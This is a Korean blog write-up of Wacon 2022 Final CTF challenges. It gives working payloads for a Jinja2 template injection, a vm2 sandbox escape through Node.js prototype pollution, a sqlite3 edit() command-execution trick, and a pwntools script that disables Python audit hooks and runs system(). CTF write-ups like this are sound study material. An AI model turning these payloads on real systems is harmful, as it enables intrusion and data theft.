Notice
Recent Posts
Recent Comments
Link
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

ash3r & dmawhwhd

Wacon 2022 Final 본문

CTF

Wacon 2022 Final

ash3r & dmawhwhd 2022. 9. 11. 05:53

Misc - query-master

#!/usr/bin/python3
import random
import string
import subprocess

def randName():
    return ''.join([random.choice(string.hexdigits) for i in range(16)])

dbpath = f'/tmp/{randName()}.db'

query = input("Query >> ")

ban = ['.', 'lo', ';']

for x in ban:
    if x in query:
        print("Filtered..")
        exit()

proc = subprocess.Popen(["sqlite3", dbpath, query], stdout=subprocess.PIPE)
(out, err) = proc.communicate()

print(out.decode())

query를 입력받고 bash에서 실행을 시켜줍니다.

예선에서 나왔던 sqqqli 문제의 revenge 문제라고 생각했고 python module을 사용하지 않기에 bash에서만 실행시킬 수 있는 무언가가 있다고 생각했습니다.

edit()이라는 함수가 존재했습니다. 이 함수는 원래 sql data를 vi, gimp등의 editor로 열어주는 함수입니다. 저는 2번째 인자에서 rce가 가능하지 않을까? 라는 생각을 했고 test 해본 결과 가능했고 edit()이라는 함수로 풀이했습니다.

Misc - ide

chall.rtf를 zip로 바꾸고 압축을 풀면 LibreOffice에 대한 정보가 있습니다.

LibreOffice writer로 열고 저장을 하면 html파일로 저장이 되는데 파일을 볼 수 있고

파일 안에 있는 링크에 인자를 적힌대로 주면 플래그를 얻을 수 있습니다.

Web - Holes

#app.py

#!/usr/bin/env python3
import os
import hashlib
from flask import Flask,request,send_from_directory

def getUserFolderDir(ip):
    r = os.path.dirname(os.path.abspath(__file__))
    r += '/files/'+hashlib.md5(ip.encode()).hexdigest()
    return r

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def index(path):
    if(path == ''):
        path = 'index.html'
    userDir = getUserFolderDir(request.remote_addr)+'/'+path
    print(userDir)
    print(os.path.exists(userDir))
    print(os.getenv('SOCAT_PEERADDR','127.0.0.1'))
    if(not os.path.exists(userDir)):
        return 'Folder not found :? Create one with the management console',404,{'Content-Type': 'text/plain;charset=utf-8'}

    try:
        with open(userDir) as f:
            content = f.read()
            print(content)
            if('flag' in content):
                return 'ᕙ(^▿^-ᕙ)',400,{'Content-Type': 'text/plain;charset=utf-8'}
            return content,200,{'Content-Type':'text/html'} 
    except:
        return 'Smth bad happened',500
if(__name__ == '__main__'):
    app.run(host='0.0.0.0',port=8000)
#cli.py

#!/usr/bin/env python3
import re
import os
import base64
import hashlib
from jinja2 import Template

flag = os.getenv('FLAG','flag{test-flag}')

def checkFilename(s):
    if('/' in s or not 5 < len(s) < 30):
        raise 'Bad filename'

def printMenu():
    print('1. Create')
    print('2. Rename')
    print('3. List')
    print('4. Compile')
    print('5. Flag')
    print('6. Exit')

def handleCreateFile():
    filename = input('Filename > ')
    fileContent = base64.b64decode(input('Base64 encoded content > '))

    checkFilename(filename)
    if(len(fileContent) > 500):
        raise 'too large'

    with open('./'+filename,'wb') as f:
        f.write(fileContent)

    print('Created the file!')

def handleRenameFile():
    sFilename = input('From filename > ')
    tFilename = input('To filename > ')

    checkFilename(sFilename)
    checkFilename(tFilename)

    os.rename(sFilename,tFilename)
    print('Renamed the file!')

def handleCompile():
    tFilename = input('Enter template filename > ')
    oFilename = input('Enter output filename > ')
    checkFilename(tFilename)
    checkFilename(oFilename)

    with open('./'+tFilename) as f:
        fileContent = f.read()
        if('(' in fileContent):
            raise 'Ahh not allowed sorry!'
        t = Template(fileContent).render()
        with open(oFilename,'w') as ff:
            ff.write(t)
    print('Template compiled!')

def handleFlag():
    with open('./flag.txt','w') as f:
        f.write(flag)
    print('Wrote the flag file!')

def handleListdir():
    print('\n'.join(os.listdir()))


def getUserFolderDir(ip):
    print(ip)
    r = os.path.dirname(os.path.abspath(__file__))
    r += '/files/'+hashlib.md5(ip.encode()).hexdigest()
    return r

if(__name__ == '__main__'):
    cwdDir = getUserFolderDir(os.getenv('SOCAT_PEERADDR','127.0.0.1'))
    if(not os.path.exists(cwdDir)):
        os.makedirs(cwdDir)

    os.chdir(cwdDir)

    handlers = [handleCreateFile,handleRenameFile,handleListdir,handleCompile,handleFlag,exit]
    while(1):
        printMenu()
        handlers[int(input('Input Selection\n> '))-1]()

unintend 풀이가 존재했던 코드 입니다. 저는 env에 flag가 존재했기에

{%set a=cycler['__init__']['__globals__']['os']['environ']['FLAG']%}{%for b in a%}{{['a',b]|join}}{%endfor%}

다음과 같은 payload로 풀이가 가능합니다. app.py에서 flag필터링은 flag 한문자 마다 a를 추가하여 필터링을 우회하여 풀이했습니다.

하지만 패치가 되었습니다. env가 아니라 파일에서 읽어오기에 rce가 필요했지만 rce는 할 수 없다고 판단했습니다.

#patched cli.py

#!/usr/bin/env python3
import re
import os
import base64
import hashlib
import uuid
from jinja2 import Template

def checkFilename(s):
    print(s)
    if('/' in s or not 5 < len(s) < 30):
        raise 'Bad filename'

def printMenu():
    print('1. Create')
    print('2. Rename')
    print('3. List')
    print('4. Compile')
    print('5. Flag')
    print('6. Exit')

def handleCreateFile():
    filename = input('Filename > ')
    fileContent = base64.b64decode(input('Base64 encoded content > '))

    checkFilename(filename)
    if(len(fileContent) > 500):
        raise 'too large'

    with open('./'+filename,'wb') as f:
        f.write(fileContent)

    print('Created the file!')

def handleRenameFile():
    sFilename = input('From filename > ')
    tFilename = input('To filename > ')

    checkFilename(sFilename)
    checkFilename(tFilename)

    os.rename(sFilename,tFilename)
    print('Renamed the file!')

def handleCompile():
    tFilename = input('Enter template filename > ')
    oFilename = input('Enter output filename > ')
    checkFilename(tFilename)
    checkFilename(oFilename)

    with open('./'+tFilename) as f:
        fileContent = f.read()
        if('(' in fileContent or '.' in fileContent):
            raise 'Ahh not allowed sorry!'
        t = Template(fileContent).render()
        with open(oFilename,'w') as ff:
            ff.write(t)
    print('Template compiled!')

def handleFlag():
    with open('./flag.txt','w') as f:
        f.write(open('/flag').read())
    print('Wrote the flag file!')

def handleListdir():
    print('\n'.join(os.listdir()))


def getUserFolderDir(userUUID):
    r = os.path.dirname(os.path.abspath(__file__))
    r += '/files/'+hashlib.md5(userUUID.encode()).hexdigest()
    return r

if(__name__ == '__main__'):
    inp = input('Enter your uuid or ENTER to create a new environment: ')
    userUUID = None

    if(len(inp) == 0):
        userUUID = uuid.uuid4().__str__()
        print(f'Your UUID is {userUUID}')
    else:
        if(not re.match('^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$',inp)):
            print('Incorrect UUID')
            exit(0)
        userUUID = inp

    cwdDir = getUserFolderDir(userUUID)
    if(not os.path.exists(cwdDir)):
        os.makedirs(cwdDir)

    os.chdir(cwdDir)

    handlers = [handleCreateFile,handleRenameFile,handleListdir,handleCompile,handleFlag,exit]
    while(1):
        printMenu()
        handlers[int(input('Input Selection\n> '))-1]()

소스를 읽어보며 아무리 봐도 취약점이 존재하지 않는다고 판단했습니다. 하지만 error log에서 File ""을 발견했고 이에 대해 분석하기 위해 jinja2의 코드를 읽었습니다.

error log를 보면 에러가 TemplateSyntaxError 인것을 알 수 있어 발생하는 부분을 보면 디버깅 해본 결과 jinja2의 rewrite_traceback_stack()에서 error 파싱을 시작하고 error 발생했을 시 filename이 none으로 입력되기에 filename은 으로 들어가게 됩니다.

rewrite_traceback_stack

def fake_traceback(  # type: ignore
    exc_value: BaseException, tb: t.Optional[TracebackType], filename: str, lineno: int
) -> TracebackType:
    """Produce a new traceback object that looks like it came from the
    template source instead of the compiled code. The filename, line
    number, and location name will point to the template, and the local
    variables will be the current template context.

    :param exc_value: The original exception to be re-raised to create
        the new traceback.
    :param tb: The original traceback to get the local variables and
        code info from.
    :param filename: The template filename.
    :param lineno: The line number in the template source.
    """
    if tb is not None:
        # Replace the real locals with the context that would be
        # available at that point in the template.
        locals = get_template_locals(tb.tb_frame.f_locals)
        locals.pop("__jinja_exception__", None)
    else:
        locals = {}

    globals = {
        "__name__": filename,
        "__file__": filename,
        "__jinja_exception__": exc_value,
    }
    # Raise an exception at the correct line number.
    code: CodeType = compile(
        "\n" * (lineno - 1) + "raise __jinja_exception__", filename, "exec"
    )

    # Build a new code object that points to the template file and
    # replaces the location with a block name.
    location = "template"

    if tb is not None:
        function = tb.tb_frame.f_code.co_name

        if function == "root":
            location = "top-level template code"
        elif function.startswith("block_"):
            location = f"block {function[6:]!r}"

    if sys.version_info >= (3, 8):
        code = code.replace(co_name=location)
    else:
        code = CodeType(
            code.co_argcount,
            code.co_kwonlyargcount,
            code.co_nlocals,
            code.co_stacksize,
            code.co_flags,
            code.co_code,
            code.co_consts,
            code.co_names,
            code.co_varnames,
            code.co_filename,
            location,
            code.co_firstlineno,
            code.co_lnotab,
            code.co_freevars,
            code.co_cellvars,
        )

    # Execute the new code, which is guaranteed to raise, and return
    # the new traceback without this frame.
    try:
        exec(code, globals, locals)
    except BaseException:
        return sys.exc_info()[2].tb_next  # type: ignore

python에서 디버깅을 했을 때는 도대체 어디서 출력되는 지 몰랐습니다.

code: CodeType = compile(
        "\n" * (lineno - 1) + "raise __jinja_exception__", filename, "exec"
    )

디버깅을 통하여 해당 부분에서 출력이 된다는 것을 알 수 있었습니다.

raise __jinja_exception__에서 출력 된다는 것을 알 수있고 처음에는 raise에서 발생하는 줄 알았지만 그것도 아니었습니다. 궁금해서 print(__jinja_exception__)로 바꿔서 실행도 해보았지만 똑같이 출력되었습니다. 그래서 error를 출력 해주는 부분 자체에서 출력해주는 것을 알 수 있었습니다. 해당 부분은 python으로 구현 되어 있지 않은 것 같았고 그래서 cpython 코드를 보았습니다. python에서 error를 출력할 때 Traceback을 실행시켜 주는데 filename으로 open 후 출력 해줍니다.

cpython의 traceback.c 입니다.

File "", line 1, in 와 같은 에러가 있을 때 filename이 python이 실행되는 파일이 있는 경로에 파일이 있다면 출력해줍니다. 해당 기능으로 플래그 출력이 가능했습니다.

시나리오

1. 5 Flag flag.txt 파일 생성

2. 2. Rename flag.txt -> 파일 이름 수정

3. 1. Create qwerqwer -> {{'}} error 발생하는 코드로 파일 생성

4. 4. Compile qwerqwer -> zxvczxcv compile error와 함께 flag 출력

Web - baby js

#!/usr/bin/env node
const express = require('express')
const cookieParser = require('cookie-parser')
const bodyParser = require('body-parser')
const fs = require('fs')
const crypto = require('crypto')
const vm2 = require('vm2')

const app = express()
const hashPasswd = p => { return crypto.createHash('sha256').update(p).digest('hex') }
const rand = _ => { return crypto.randomBytes(Math.ceil(0x32/2)).toString('hex').slice(0,0x32) }
const now = () => { return Math.floor(+new Date()/1000) }
const checkoutTimes = new Map()
const users = new Set()
var lastUid = 0

app.use(cookieParser())
app.use(bodyParser.json())

app.use((req,res,next) => {
    req.userUid = -1
    req.userData = ""

    let data = req.cookies.data
    let uid = req.cookies.uid
    let passwd = req.cookies.passwd

    if(uid == undefined || passwd == undefined)
        return next()

    let found = false
    for(let e of users.entries())
        if(e[0].uid == uid && e[0].password == passwd){
            console.log('uid : ', typeof(uid))
            console.log("users : ", typeof(e[0].uid))
            found = true
        }


    if(found){
        req.userUid = uid
        req.userData = data
    }

    next()
})

app.get('/',(req,res) => {
    res.type('text/plain').send("hack me ( ゚▽゚)/ :)")
})

app.post('/login',(req,res) => {
    const {username, password }= req.body

    if(!username || !password)
        return res.json({ error: true, msg: "Bad params :(" })

    let u = null
    for(let e of users.entries())
        if(e[0].username == username)
            u = e[0]

    if(!u)
        return res.json({ error: true, msg: "User not found" })

    let hashedPassword = hashPasswd(password.toString().slice(-0x20))
    if(u.password != hashedPassword)
        return res.json({ error: true, msg: "Wrong password :(" })

    res.cookie('uid',u.uid)
    res.cookie('passwd',hashedPassword)
    res.json({ error: false, msg: "Logged in" })
})

app.post('/register',(req,res) => {
    const { username, password }= req.body
    console.log(req.body);
    if(!username || !password)
        return res.json({ error: true, msg: "Bad params" })

    for(let e of users.entries())
        if(e[0].username == username)
            return res.json({ error: true, msg: "Username exists" })

    let hashedPassword = hashPasswd(password.toString().slice(-0x20))
    let uid = lastUid++

    users.add({
        username: username.toString().slice(-0x20),
        password: hashedPassword,
        uid: uid
    })

    res.cookie('uid',uid)
    res.cookie('passwd',hashedPassword)
    res.json({ error: false, msg: "Registered" })
})

app.get('/checkout',(req,res) => {
    if(req.userUid == -1 || !req.userData)
        return res.json({ error: true, msg: "Login first" })
    console.log(req.userUid)
    if(parseInt(req.userUid) != 0)
        return res.json({ error: true, msg: "You can't do this sorry" })

    if(checkoutTimes.has(req.ip) && checkoutTimes.get(req.ip)+1 > now()) {
        return res.json({ error: true, msg: 'too fast'})
    }
    checkoutTimes.set(req.ip,now())

    let sbx = {
        readFile: (path) => {
            if(!(new String(path).toString()).includes('flag'))
                return fs.readFileSync(path,{encoding: "utf-8"})
            return null
        },
        sum: (args) => args.reduce((a,b)=>a+b),
    }

    let vm = new vm2.VM({
        timeout: 20,
        sandbox: sbx,
        fixAsync: true,
        eval: false
    })

    let result = ":(";
    try {
        console.log(`sum([${req.userData}])`);
        result = new String(vm.run(`sum([${req.userData}])`))
    } catch (e) {}
    res.type('text/plain').send(result)
})

app.listen(8000,()=>console.log('Listening on 8000...'))
users.add({ username: "admin", password: hashPasswd(rand()), uid: lastUid++ })

간단하게 코드 설명을 하면 register와 login이 있고 checkout은 uid가 0일 때만 가능합니다. 하지만 admin 계정이 존재했기에 1부터 생성이 가능했습니다. parseInt(req.userUid) != 0 조건을 만족시켜야 했습니다.

lastUid는 int일 것이고 uid는 cookie에서 받아왔기에 str일 것 입니다. 그럼 약한 비교이기에 ToNumber(uid)가 실행될 것이고 다음과 같은 결과가 나올 것입니다.

parseInt() 함수의 return은 소수점 이하는 버리는 것 같습니다. 그렇다면 0.1e1이 약한 비교할 때 ToNumber()할 때 연산이 되어 들어간다면 우회가 가능할 것입니다.

test를 해봤더니 true가 나왔습니다. 그렇기에 checkout 기능을 사용할 수 있습니다.

let sbx = {
        readFile: (path) => {
            if(!(new String(path).toString()).includes('flag'))
                return fs.readFileSync(path,{encoding: "utf-8"})
            return null
        },
        sum: (args) => args.reduce((a,b)=>a+b),
    }

let result = ":(";
    try {
        result = new String(vm.run(`sum([${req.userData}])`))
    } catch (e) {}
    res.type('text/plain').send(result)

readFile을 이용하여 flag를 읽어오면 됩니다. 그렇다면 일단 ]);readFile();//을 통하여 reaFile()함수를 실행시킬 수 있습니다. 하지만 path에 flag라는 문자열이 들어있으면 안되기에 /flag.txt로 단순하게 읽을 수가 없습니다.

readFileSync는 file scheme을 사용할 수 있습니다. new URL로 줄 수는 없기에 생각한 것은 prototype pollution이었습니다.

readFileSync는 path를 받고 isFd로 fd check를 하는데

function isUint32(value) {
  return value === (value >>> 0);
}

당연히 false가 나올 것 입니다.

봐야할 곳은 fs.openSync입니다.

path만 집중해서 보면 됩니다. 저희가 집중적으로 봐야하는 것은 path에 {}를 넣었을 때 prototype pollution을 통해 값을 overwrite하여 원하는 파일을 읽을 수 있는가 입니다. getValidatePath를 따라가보면

const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
  const path = toPathIfFileURL(fileURLOrPath);
  validatePath(path, propName);
  return path;
});

또 다시 toPathIffileURL 함수로 들어갑니다.

function toPathIfFileURL(fileURLOrPath) {
  if (!isURLInstance(fileURLOrPath))
    return fileURLOrPath;
  return fileURLToPath(fileURLOrPath);
}

function isURLInstance(fileURLOrPath) {
  return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}

function fileURLToPath(path) {
  if (typeof path === 'string')
    path = new URL(path);
  else if (!isURLInstance(path))
    throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
  if (path.protocol !== 'file:')
    throw new ERR_INVALID_URL_SCHEME('file');
  return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}
function getPathFromURLPosix(url) {
  if (url.hostname !== '') {
    throw new ERR_INVALID_FILE_URL_HOST(platform);
  }
  const pathname = url.pathname;
  for (let n = 0; n < pathname.length; n++) {
    if (pathname[n] === '%') {
      const third = pathname.codePointAt(n + 2) | 0x20;
      if (pathname[n + 1] === '2' && third === 102) {
        throw new ERR_INVALID_FILE_URL_PATH(
          'must not include encoded / characters'
        );
      }
    }
  }
  return decodeURIComponent(pathname);
}

함수를 분석해보면 toPathIfFileURL -> isURLInstance check -> fileURLOrPath || fileURLToPath() 입니다.

차례대로 분석을 해보면 isURLInstance() 에서는 충분히 prototype pollution을 통하여 값을 덮을 수 있습니다.

fileURLOrPath은 input 이기에 href와 origin의 값은 설정하지 않을 수 있습니다. 그럼 prototype을 참조할 것이고 원하는 값을 overwrite할 수 있습니다. return fileURLOrPath;을 하면 안되기 때문에 값을 overwrite하여 fileURLToPath() 을 호출합니다. fileURLToPath()에서는 path를 {} 줄 것이기 때문에 첫번째 조건문은 false가 되고 두번 째는 toPathIfFileURL()에서 이미 덮어 bypass할 수 있다는 것을 알 수 있기에 거짓입니다. 마지막 조건문은 마찬가지로 prototype pollution을 이용하여 값을 overwrite할 수 있습니다. 그렇다면 readFile() path에 {}를 주고 원하는 값을 overwite가 가능하기에 flag 필터링에 걸리지 않습니다. 마지막으로 getPathFromURLPosix() 함수는 hostname을 체크하고 pathname으로 return하기에 pathname에 /flag.txt를 주면 됩니다. 그렇다면 payload는 다음과 같습니다.

1+1\]);a={};a.\_\_proto\_\_.href='a';a.\_\_proto\_\_.protocol='file:';a.\_\_proto\_\_.origin='a';a.\_\_proto\_\_.pathname='/flag.txt';a.\_\_proto\_\_.hostname='';readFile({});//;

href와 origin은 아무 값이나 들어가면 되고 protocol은 file:, pathname은 flag.txt hostname은 ''으로 overwrite한 후 readFile({})로 호출하면 플래그를 읽을 수 있습니다.

PWN - Wacon store

#chall.py
#!/usr/bin/python3.9
import wacon_store
import sys


print('Input your payload: (Ended with "\\nEOF\\n")')
buf = ""
mapsFile = open('/proc/self/maps')
while(True):
    f = input()
    if(f == 'EOF'):
        break
    buf += f+'\n'

def gift():
    return mapsFile.read()

if(len(buf) > 500):
    raise Exception(':(')

for module in set(sys.modules.keys()):
    if module in sys.modules:
        del sys.modules[module]

wacon_store.open_store()
exec(buf,{'__builtins__' : None},{'buy':wacon_store.buy,'print':print,'int':int,'gift':gift})

wacon_store.so 파일을 로드하여 exec로 입력받은 값을 exec해줍니다. module을 다 지워버렸기에 사용할 수 있는 함수들은 buy, print, int, gift로 정해져있습니다.

중요하게 봐야할 부분은 3부분입니다. open_store에서는 sub_11E0()를 hook function으로 넣어줘서 compile, exec함수를 한번씩 사용하게 하게 필터링을 합니다. buy함수에서는 buy()함수를 한번만 사용할 수 있도록 해주며 item의 index를 입력받아 해당 주소에 0을 넣고 string으로 변환하여 return합니다.

AddAuditHook()함수를 통해서 runtime 단에서 필터링을 해주기에 이를 우회하기 위해서는 sub_11E0() hook 인자를 덮어야 한다고 생각했습니다.

int
PySys_AddAuditHook(Py_AuditHookFunction hook, void *userData)
{
    /* tstate can be NULL, so access directly _PyRuntime:
       PySys_AddAuditHook() can be called before Python is initialized. */
    _PyRuntimeState *runtime = &_PyRuntime;
    PyThreadState *tstate;
    if (runtime->initialized) {
        tstate = _PyRuntimeState_GetThreadState(runtime);
    }
    else {
        tstate = NULL;
    }

    /* Invoke existing audit hooks to allow them an opportunity to abort. */
    /* Cannot invoke hooks until we are initialized */
    if (tstate != NULL) {
        if (_PySys_Audit(tstate, "sys.addaudithook", NULL) < 0) {
            if (_PyErr_ExceptionMatches(tstate, PyExc_RuntimeError)) {
                /* We do not report errors derived from RuntimeError */
                _PyErr_Clear(tstate);
                return 0;
            }
            return -1;
        }
    }

    _Py_AuditHookEntry *e = runtime->audit_hook_head;
    if (!e) {
        e = (_Py_AuditHookEntry*)PyMem_RawMalloc(sizeof(_Py_AuditHookEntry));
        runtime->audit_hook_head = e;
    } else {
        while (e->next) {
            e = e->next;
        }
        e = e->next = (_Py_AuditHookEntry*)PyMem_RawMalloc(
            sizeof(_Py_AuditHookEntry));
    }

    if (!e) {
        if (tstate != NULL) {
            _PyErr_NoMemory(tstate);
        }
        return -1;
    }

    e->next = NULL;
    e->hookCFunction = (Py_AuditHookFunction)hook;
    e->userData = userData;

    return 0;
}
typedef struct _Py_AuditHookEntry {
        struct _Py_AuditHookEntry *next;
        Py_AuditHookFunction hookCFunction;
        void *userData;
    } _Py_AuditHookEntry;

audit_hook_head가 없다면 RawMalloc으로 할당해주고 값을 넣어줍니다. 덮어야할 값은 runtime의 audit_hook_head입니다.

PyMem_RawMalloc 사용하는 부분은 audit_hook_head 할당할 때만 사용하기에 주소가 _PyRuntime+648 인것을 알 수 있습니다. 디버깅 해본 결과 이 값은 고정이었습니다. 덮어야할 주소를 찾았으니 oob가 발생하는 변수의 주소를 알아야합니다.

Shirts가 0번째 index 이기에 0x7f74c275102c - 0x00007f74c274f000 == 8236 oob가 발생하는 arr의 주소의 offset은 8236 입니다. gift()함수를 통한 /proc/self/maps의 정보를 통해 wacon_store.so의 주소를 구하여 + 8236을 하면 현재 주소를 구할 수 있습니다.

index 1당 8byte씩 증가되므로 ((0xffffffffffffffff - data) + 0x93a64 + 1) // 8로 index를 구할 수 있습니다.

from pwn import *

p = remote("127.0.0.1",9000)

p.recvline()
p.sendline("leak = gift().splitlines()")
p.sendline("wacon_base = int('0x' + leak[7][0:12], 16)")
p.sendline("data = wacon_base + 16736")
p.sendline("idx = ((0xffffffffffffffff - data) + 0x93a64 + 1) // 8")
p.sendline("buy(idx)")
p.sendline("().__class__.__base__.__subclasses__()[133].__init__.__globals__.get('system')('/readflag')")
p.sendline("EOF")

p.interactive()

최종 payload입니다.